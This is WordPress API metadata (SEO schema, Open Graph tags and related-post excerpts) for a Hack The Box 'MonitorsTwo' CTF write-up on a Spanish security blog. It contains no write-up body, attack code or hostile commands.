class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"Hack The Box | MonitorsTwo | Write Up\",\"datePublished\":\"2023-05-26T12:40:13+00:00\",\"dateModified\":\"2023-09-16T08:35:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/\"},\"wordCount\":831,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/image-1.png?fit=709%2C656&ssl=1\",\"keywords\":[\"CTF\",\"Cybersecurity\",\"Exploitation\",\"hackthebox\",\"InfoSec\",\"MonitorsTwo\",\"NetworkSecurity\",\"PenetrationTesting\",\"PrivilegeEscalation\",\"VulnerabilityAssessment\"],\"articleSection\":[\"Gu\u00edas\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/\",\"name\":\"Hack The Box | MonitorsTwo | Write Up - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/image-1.png?fit=709%2C656&ssl=1\",\"datePublished\":\"2023-05-26T12:40:13+00:00\",\"dateModified\":\"2023-09-16T08:35:15+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/image-1.png?fit=709%2C656&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/image-1.png?fit=709%2C656&ssl=1\",\"width\":709,\"height\":656},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/26\\\/hack-the-box-monitorstwo-write-up\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hack The Box | MonitorsTwo | Write Up\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Hack The Box | MonitorsTwo | Write Up - Hardsoft Security","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/","og_locale":"es_ES","og_type":"article","og_title":"Hack The Box | MonitorsTwo | Write Up - Hardsoft Security","og_description":"Hey there, Cyber Warriors! \ud83d\ude80 Get ready for a thrilling exploration of MonitorsTwo, a remarkable CTF challenge from Hack The Box! A test of wits and cybersecurity skills, MonitorsTwo takes ...","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/","og_site_name":"Hardsoft Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2023-05-26T12:40:13+00:00","article_modified_time":"2023-09-16T08:35:15+00:00","og_image":[{"width":709,"height":656,"url":"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png","type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"7 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"Hack The Box | MonitorsTwo | Write Up","datePublished":"2023-05-26T12:40:13+00:00","dateModified":"2023-09-16T08:35:15+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/"},"wordCount":831,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?fit=709%2C656&ssl=1","keywords":["CTF","Cybersecurity","Exploitation","hackthebox","InfoSec","MonitorsTwo","NetworkSecurity","PenetrationTesting","PrivilegeEscalation","VulnerabilityAssessment"],"articleSection":["Gu\u00edas","Seguridad inform\u00e1tica"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/","name":"Hack The Box | MonitorsTwo | Write Up - Hardsoft Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?fit=709%2C656&ssl=1","datePublished":"2023-05-26T12:40:13+00:00","dateModified":"2023-09-16T08:35:15+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?fit=709%2C656&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?fit=709%2C656&ssl=1","width":709,"height":656},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"Hack The Box | MonitorsTwo | Write Up"}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing (In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-MZ","jetpack-related-posts":[{"id":3056,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/02\/try-hack-me-overpass-write-up\/","url_meta":{"origin":3037,"position":0},"title":"Try Hack Me | Overpass | Write Up","author":"david","date":"junio 2, 2023","format":false,"excerpt":"Hey there, Cyber Warriors! \ud83d\ude80 Today we will see another CTF write up but now from Try Hack Me. I did this CTF in one of the workshops in IT-S Now Cyber Security conference in Vienna. Come with me and learn how you can resolv this machine! We will walk\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":3092,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/","url_meta":{"origin":3037,"position":1},"title":"Hack The Box | Inject | Write Up","author":"david","date":"junio 14, 2023","format":false,"excerpt":"Just tackled the 'Inject' machine on #HackTheBox. Loved the exploration of high ports and the challenge of the injection exploitation! If you're into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec The first step we will do is perform our Nmap scan: \u2514\u2500$ sudo nmap -sT -n\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3248,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/29\/tryhackme-relevant-write-up\/","url_meta":{"origin":3037,"position":2},"title":"TryHackMe | Relevant | Write Up","author":"david","date":"agosto 29, 2023","format":false,"excerpt":"In the vast world of cybersecurity, sometimes, it's the smallest of details that can lead to the biggest breakthroughs. It's no surprise then, that in my recent foray into the \u2018Relevant\u2019 room on TryHackMe, I found myself engrossed in a painstaking process of meticulous enumeration. But isn't that the very\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":3352,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/","url_meta":{"origin":3037,"position":3},"title":"TryHackMe | Internal | Write Up","author":"david","date":"septiembre 13, 2023","format":false,"excerpt":"The realm of cybersecurity is as vast as it is intriguing, and every once in a while, a challenge comes along that truly tests our mettle as ethical hackers. Such was the case with the 'Internal' Capture The Flag (CTF) challenge on TryHackMe. Imagine being handed an environment, just weeks\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3581,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/","url_meta":{"origin":3037,"position":4},"title":"PIVOTING with METASPLOIT?","author":"david","date":"noviembre 15, 2023","format":false,"excerpt":"Pivoting with Metasploit and proxy chains is a sophisticated technique used by penetration testers to navigate through a network by leveraging a compromised system. This post will introduce the art of pivoting using Metasploit's autoroute and socks_proxy modules, illustrating how to extend your reach within a target environment discreetly and\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3174,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/","url_meta":{"origin":3037,"position":5},"title":"Hack The Box | Stocker | Write Up","author":"david","date":"agosto 23, 2023","format":false,"excerpt":"Just tackled the \u2018Stocker\u2019 machine on #HackTheBox. Loved the explotation of web vulnerabilities and the challenge of the injections! If you\u2019re into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec We will check which kind of services are running in this machine with NMAP: sudo nmap -sT\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=1050%2C600 3x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?fit=709%2C656&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3037","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3037"}],"version-history":[{"count":4,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3037\/revisions"}],"predecessor-version":[{"id":3363,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3037\/revisions\/3363"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3038"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3037"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3037"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3037"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}